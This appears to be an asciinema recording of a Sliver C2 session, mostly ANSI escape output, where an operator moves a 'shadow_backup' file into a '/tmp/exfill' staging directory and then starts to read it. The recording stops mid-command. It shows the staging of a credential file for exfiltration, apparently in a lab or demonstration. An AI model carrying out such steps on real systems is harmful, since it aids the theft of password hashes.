[33.856893, "o", "\u001b[?25l"]
[33.857558, "o", "\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
[33.85947, "o", "\u001b[1m\u001b[32mmv \u001b[39m\u001b[22mshad\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[33D\u001b[26C\u001b[133D\u001b[33C\u001b[?25h"]
[33.993169, "o", "\u001b[?25l"]
[33.993551, "o", "\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
[33.998597, "o", "\u001b[1m\u001b[32mmv \u001b[39m\u001b[22mshado\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
[33.998983, "o", "\u001b[133D\u001b[1A\u001b[34D\u001b[26C\u001b[133D\u001b[34C\u001b[?25h"]
[34.088678, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > "]
[34.090971, "o", "\u001b[6n"]
[34.095672, "o", "\u001b[1m\u001b[32mmv \u001b[39m\u001b[22mshadow\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[35D\u001b[26C\u001b[133D\u001b[35C\u001b[?25h"]
[34.445577, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > "]
[34.448063, "o", "\u001b[6n"]
[34.453311, "o", "\u001b[1m\u001b[32mmv \u001b[39m\u001b[22mshadow_\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[36D\u001b[26C"]
[34.455573, "o", "\u001b[133D\u001b[36C\u001b[?25h"]
[34.755302, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
[34.76502, "o", "\u001b[1m\u001b[32mmv \u001b[39m\u001b[22mshadow_b\u001b[0m\u001b[0K\u001b[49m\r"]
[34.767234, "o", "\r\n\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[37D\u001b[26C\u001b[133D\u001b[37C\u001b[?25h"]
[34.889599, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
[34.901173, "o", "\u001b[1m\u001b[32mmv \u001b[39m\u001b[22mshadow_ba\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[34.902552, "o", "\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[38D\u001b[26C\u001b[133D\u001b[38C\u001b[?25h"]
[34.944248, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > "]
[34.947102, "o", "\u001b[6n"]
[34.950687, "o", "\u001b[1m\u001b[32mmv \u001b[39m\u001b[22mshadow_bac\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[39D\u001b[26C\u001b[133D\u001b[39C\u001b[?25h"]
[35.085118, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
[35.096905, "o", "\u001b[1m\u001b[32mmv \u001b[39m\u001b[22mshadow_back\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[40D\u001b[26C\u001b[133D\u001b[40C\u001b[?25h"]
[35.376525, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
[35.386256, "o", "\u001b[1m\u001b[32mmv \u001b[39m\u001b[22mshadow_backu\u001b[0m\u001b[0K\u001b[49m"]
[35.388169, "o", "\r\r\n\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[41D\u001b[26C\u001b[133D\u001b[41C\u001b[?25h"]
[35.589541, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
[35.601421, "o", "\u001b[1m\u001b[32mmv \u001b[39m\u001b[22mshadow_backup\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[35.60222, "o", "\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[42D\u001b[26C\u001b[133D\u001b[42C\u001b[?25h"]
[35.767493, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > "]
[35.776291, "o", "\u001b[6n"]
[35.78088, "o", "\u001b[1m\u001b[32mmv \u001b[39m\u001b[22mshadow_backup \u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K"]
[35.782199, "o", "\u001b[0J\u001b[133D\u001b[1A\u001b[43D\u001b[26C\u001b[133D\u001b[43C\u001b[?25h"]
[36.309408, "o", "\u001b[?25l\u001b[133D"]
[36.310628, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > "]
[36.322668, "o", "\u001b[6n"]
[36.328249, "o", "\u001b[1m\u001b[32mmv \u001b[39m\u001b[22mshadow_backup /\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
[36.333327, "o", "\u001b[133D\u001b[1A\u001b[44D\u001b[26C\u001b[133D\u001b[44C\u001b[?25h"]
[36.772219, "o", "\u001b[?25l\u001b[133D"]
[36.774612, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
[36.778211, "o", "\u001b[1m\u001b[32mmv \u001b[39m\u001b[22mshadow_backup /t\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[36.781103, "o", "\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[45D\u001b[26C\u001b[133D\u001b[45C\u001b[?25h"]
[36.883962, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > "]
[36.885394, "o", "\u001b[6n"]
[36.891924, "o", "\u001b[1m\u001b[32mmv \u001b[39m\u001b[22mshadow_backup /tm\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[46D\u001b[26C\u001b[133D\u001b[46C\u001b[?25h"]
[36.997958, "o", "\u001b[?25l\u001b[133D"]
[36.999081, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
[37.011652, "o", "\u001b[1m\u001b[32mmv \u001b[39m\u001b[22mshadow_backup /tmp\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[47D\u001b[26C\u001b[133D\u001b[47C\u001b[?25h"]
[37.271585, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
[37.280016, "o", "\u001b[1m\u001b[32mmv \u001b[39m\u001b[22mshadow_backup /tmp/\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
[37.281574, "o", "\u001b[133D\u001b[1A\u001b[48D\u001b[26C\u001b[133D\u001b[48C\u001b[?25h"]
[37.425862, "o", "\u001b[?25l"]
[37.427627, "o", "\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
[37.433523, "o", "\u001b[1m\u001b[32mmv \u001b[39m\u001b[22mshadow_backup /tmp/e\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
[37.434635, "o", "\u001b[133D\u001b[1A\u001b[49D\u001b[26C\u001b[133D\u001b[49C\u001b[?25h"]
[37.62314, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > "]
[37.625102, "o", "\u001b[6n"]
[37.630156, "o", "\u001b[1m\u001b[32mmv \u001b[39m\u001b[22mshadow_backup /tmp/ex\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[50D\u001b[26C"]
[37.631208, "o", "\u001b[133D\u001b[50C\u001b[?25h"]
[37.775858, "o", "\u001b[?25l\u001b[133D"]
[37.777064, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
[37.780473, "o", "\u001b[1m\u001b[32mmv \u001b[39m\u001b[22mshadow_backup /tmp/exi\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[51D\u001b[26C\u001b[133D\u001b[51C\u001b[?25h"]
[37.86508, "o", "\u001b[?25l\u001b[133D"]
[37.867092, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
[37.872967, "o", "\u001b[1m\u001b[32mmv \u001b[39m\u001b[22mshadow_backup /tmp/exil\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[52D\u001b[26C\u001b[133D\u001b[52C\u001b[?25h"]
[38.08217, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > "]
[38.082927, "o", "\u001b[6n"]
[38.086663, "o", "\u001b[1m\u001b[32mmv \u001b[39m\u001b[22mshadow_backup /tmp/exill\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[38.088778, "o", "\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[53D\u001b[26C\u001b[133D\u001b[53C\u001b[?25h"]
[38.472862, "o", "\u001b[?25l"]
[38.477365, "o", "\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
[38.485551, "o", "\u001b[1m\u001b[32mmv \u001b[39m\u001b[22mshadow_backup /tmp/exil\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K"]
[38.486867, "o", "\u001b[0J\u001b[133D\u001b[1A\u001b[52D\u001b[26C\u001b[133D\u001b[52C\u001b[?25h"]
[38.612072, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > "]
[38.617675, "o", "\u001b[6n"]
[38.625044, "o", "\u001b[1m\u001b[32mmv \u001b[39m\u001b[22mshadow_backup /tmp/exi\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[51D\u001b[26C\u001b[133D\u001b[51C"]
[38.62529, "o", "\u001b[?25h"]
[38.758816, "o", "\u001b[?25l\u001b[133D"]
[38.761245, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
[38.767168, "o", "\u001b[1m\u001b[32mmv \u001b[39m\u001b[22mshadow_backup /tmp/ex\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[50D\u001b[26C\u001b[133D\u001b[50C\u001b[?25h"]
[38.825485, "o", "\u001b[?25l\u001b[133D"]
[38.827085, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
[38.831966, "o", "\u001b[1m\u001b[32mmv \u001b[39m\u001b[22mshadow_backup /tmp/exf\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K"]
[38.832869, "o", "\u001b[0J\u001b[133D\u001b[1A\u001b[51D\u001b[26C\u001b[133D\u001b[51C\u001b[?25h"]
[39.043514, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
[39.05357, "o", "\u001b[1m\u001b[32mmv \u001b[39m\u001b[22mshadow_backup /tmp/exfi\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K"]
[39.054544, "o", "\u001b[0J\u001b[133D\u001b[1A\u001b[52D\u001b[26C\u001b[133D\u001b[52C\u001b[?25h"]
[39.095225, "o", "\u001b[?25l\u001b[133D"]
[39.098084, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
[39.103815, "o", "\u001b[1m\u001b[32mmv \u001b[39m\u001b[22mshadow_backup /tmp/exfil\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[53D\u001b[26C\u001b[133D\u001b[53C\u001b[?25h"]
[39.285161, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
[39.292636, "o", "\u001b[1m\u001b[32mmv \u001b[39m\u001b[22mshadow_backup /tmp/exfill\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[54D\u001b[26C\u001b[133D\u001b[54C\u001b[?25h"]
[39.579011, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
[39.591282, "o", "\u001b[1m\u001b[32mmv \u001b[39m\u001b[22mshadow_backup /tmp/exfill/\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[39.595084, "o", "\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[55D\u001b[26C\u001b[133D\u001b[55C\u001b[?25h"]
[39.979969, "o", "\u001b[?25l\u001b[133D"]
[39.98123, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
[39.982869, "o", "\u001b[1m\u001b[32mmv \u001b[39m\u001b[22mshadow_backup /tmp/exfill/s\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[56D\u001b[26C\u001b[133D\u001b[56C\u001b[?25h"]
[40.082003, "o", "\u001b[?25l\u001b[133D"]
[40.083, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
[40.086276, "o", "\u001b[1m\u001b[32mmv \u001b[39m\u001b[22mshadow_backup /tmp/exfill/sh\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[57D\u001b[26C\u001b[133D\u001b[57C\u001b[?25h"]
[40.162778, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > "]
[40.163973, "o", "\u001b[6n"]
[40.166682, "o", "\u001b[1m\u001b[32mmv \u001b[39m\u001b[22mshadow_backup /tmp/exfill/sha\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[58D\u001b[26C"]
[40.167547, "o", "\u001b[133D\u001b[58C\u001b[?25h"]
[40.258095, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > "]
[40.259161, "o", "\u001b[6n"]
[40.263009, "o", "\u001b[1m\u001b[32mmv \u001b[39m\u001b[22mshadow_backup /tmp/exfill/shad\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[59D\u001b[26C\u001b[133D\u001b[59C\u001b[?25h"]
[40.336117, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > "]
[40.336503, "o", "\u001b[6n"]
[40.340184, "o", "\u001b[1m\u001b[32mmv \u001b[39m\u001b[22mshadow_backup /tmp/exfill/shado\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[40.340522, "o", "\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[60D\u001b[26C\u001b[133D\u001b[60C\u001b[?25h"]
[40.470924, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
[40.476087, "o", "\u001b[1m\u001b[32mmv \u001b[39m\u001b[22mshadow_backup /tmp/exfill/shadow\u001b[0m\u001b[0K\u001b[49m\r"]
[40.483373, "o", "\r\n\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[61D\u001b[26C\u001b[133D\u001b[61C\u001b[?25h"]
[40.777172, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
[40.785904, "o", "\u001b[1m\u001b[32mmv \u001b[39m\u001b[22mshadow_backup /tmp/exfill/shadow_\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
[40.786195, "o", "\u001b[133D\u001b[1A\u001b[62D\u001b[26C\u001b[133D\u001b[62C\u001b[?25h"]
[41.092171, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
[41.102119, "o", "\u001b[1m\u001b[32mmv \u001b[39m\u001b[22mshadow_backup /tmp/exfill/shadow_b\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
[41.103505, "o", "\u001b[133D\u001b[1A\u001b[63D\u001b[26C\u001b[133D\u001b[63C\u001b[?25h"]
[41.139323, "o", "\u001b[?25l\u001b[133D"]
[41.141253, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
[41.147391, "o", "\u001b[1m\u001b[32mmv \u001b[39m\u001b[22mshadow_backup /tmp/exfill/shadow_ba\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
[41.147639, "o", "\u001b[133D\u001b[1A\u001b[64D\u001b[26C\u001b[133D\u001b[64C\u001b[?25h"]
[41.232342, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > "]
[41.236419, "o", "\u001b[6n"]
[41.242607, "o", "\u001b[1m\u001b[32mmv \u001b[39m\u001b[22mshadow_backup /tmp/exfill/shadow_bac\u001b[0m\u001b[0K\u001b[49m\r"]
[41.243455, "o", "\r\n\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[65D\u001b[26C\u001b[133D\u001b[65C\u001b[?25h"]
[41.330534, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > "]
[41.332381, "o", "\u001b[6n"]
[41.33479, "o", "\u001b[1m\u001b[32mmv \u001b[39m\u001b[22mshadow_backup /tmp/exfill/shadow_back\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D"]
[41.335394, "o", "\u001b[1A\u001b[66D\u001b[26C\u001b[133D\u001b[66C\u001b[?25h"]
[41.57333, "o", "\u001b[?25l"]
[41.576837, "o", "\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
[41.584022, "o", "\u001b[1m\u001b[32mmv \u001b[39m\u001b[22mshadow_backup /tmp/exfill/shadow_backu\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[67D\u001b[26C\u001b[133D\u001b[67C\u001b[?25h"]
[41.750013, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > "]
[41.758291, "o", "\u001b[6n"]
[41.765596, "o", "\u001b[1m\u001b[32mmv \u001b[39m\u001b[22mshadow_backup /tmp/exfill/shadow_backup\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[41.766062, "o", "\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[68D\u001b[26C\u001b[133D\u001b[68C\u001b[?25h"]
[42.74357, "o", "\u001b[68D\u001b[26C"]
[42.745566, "o", "\u001b[6n"]
[42.749571, "o", "\u001b[133D\u001b[68C\u001b[0J"]
[42.751479, "o", "\u001b[133D\r\r\n\u001b[0 q\r\n"]
[42.842923, "o", "\r\u001b[2K\u001b[1m\u001b[36m[*] \u001b[0mshadow_backup > /tmp/exfill/shadow_backup\r\n\r\n"]
[42.85322, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > "]
[42.853339, "o", "\u001b[1 q\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > "]
[42.853376, "o", "\u001b[6n"]
[42.855296, "o", "\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[26D\u001b[26C\u001b[133D\u001b[26C\u001b[?25h"]
[44.732641, "o", "\u001b[?25l"]
[44.739476, "o", "\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
[44.756104, "o", "c\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[27D\u001b[26C\u001b[133D\u001b[27C\u001b[?25h"]
[44.9115, "o", "\u001b[?25l\u001b[133D"]
[44.912724, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
[44.917745, "o", "ca\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[28D\u001b[26C\u001b[133D\u001b[28C\u001b[?25h"]
[45.072046, "o", "\u001b[?25l"]
[45.078879, "o", "\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
[45.090026, "o", "\u001b[1m\u001b[32mcat\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K"]
[45.091567, "o", "\u001b[0J\u001b[133D\u001b[1A\u001b[29D\u001b[26C\u001b[133D\u001b[29C\u001b[?25h"]
[45.265417, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
[45.277864, "o", "\u001b[1m\u001b[32mcat \u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D"]
[45.278093, "o", "\u001b[1A\u001b[30D\u001b[26C\u001b[133D\u001b[30C\u001b[?25h"]
[46.318561, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
[46.330092, "o", "\u001b[1m\u001b[32mcat \u001b[39m\u001b[22m/\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[31D\u001b[26C\u001b[133D\u001b[31C\u001b[?25h"]
[46.61635, "o", "\u001b[?25l"]
[46.617085, "o", "\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
[46.628005, "o", "\u001b[1m\u001b[32mcat \u001b[39m\u001b[22m/t\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[46.628616, "o", "\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[32D\u001b[26C\u001b[133D\u001b[32C\u001b[?25h"]
[46.708941, "o", "\u001b[?25l\u001b[133D"]
[46.710932, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
[46.716622, "o", "\u001b[1m\u001b[32mcat \u001b[39m\u001b[22m/tm\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[33D\u001b[26C\u001b[133D\u001b[33C\u001b[?25h"]
[46.803599, "o", "\u001b[?25l"]
[46.805099, "o", "\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
[46.812464, "o", "\u001b[1m\u001b[32mcat \u001b[39m\u001b[22m/tmp\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
[46.814584, "o", "\u001b[133D\u001b[1A\u001b[34D\u001b[26C\u001b[133D\u001b[34C\u001b[?25h"]
[47.093701, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
[47.099599, "o", "\u001b[1m\u001b[32mcat \u001b[39m\u001b[22m/tmp/\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[47.101722, "o", "\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[35D\u001b[26C\u001b[133D\u001b[35C\u001b[?25h"]
[47.240519, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > "]
[47.242173, "o", "\u001b[6n"]
[47.24705, "o", "\u001b[1m\u001b[32mcat \u001b[39m\u001b[22m/tmp/e\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
[47.248127, "o", "\u001b[133D\u001b[1A\u001b[36D\u001b[26C\u001b[133D\u001b[36C\u001b[?25h"]
[47.435494, "o", "\u001b[?25l"]
[47.437767, "o", "\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
[47.450495, "o", "\u001b[1m\u001b[32mcat \u001b[39m\u001b[22m/tmp/ex\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[37D\u001b[26C\u001b[133D\u001b[37C\u001b[?25h"]
[47.731035, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
[47.741547, "o", "\u001b[1m\u001b[32mcat \u001b[39m\u001b[22m/tmp/exf\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
[47.743115, "o", "\u001b[133D\u001b[1A\u001b[38D\u001b[26C\u001b[133D\u001b[38C\u001b[?25h"]
[47.869998, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
[47.87498, "o", "\u001b[1m\u001b[32mcat \u001b[39m\u001b[22m/tmp/exfi\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
[47.876375, "o", "\u001b[133D\u001b[1A\u001b[39D\u001b[26C\u001b[133D\u001b[39C\u001b[?25h"]
[47.925902, "o", "\u001b[?25l"]
[47.929166, "o", "\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
[47.934184, "o", "\u001b[1m\u001b[32mcat \u001b[39m\u001b[22m/tmp/exfil\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D"]
[47.934672, "o", "\u001b[1A\u001b[40D\u001b[26C\u001b[133D\u001b[40C\u001b[?25h"]
[48.102689, "o", "\u001b[?25l"]
[48.116547, "o", "\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
[48.121463, "o", "\u001b[1m\u001b[32mcat \u001b[39m\u001b[22m/tmp/exfill\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
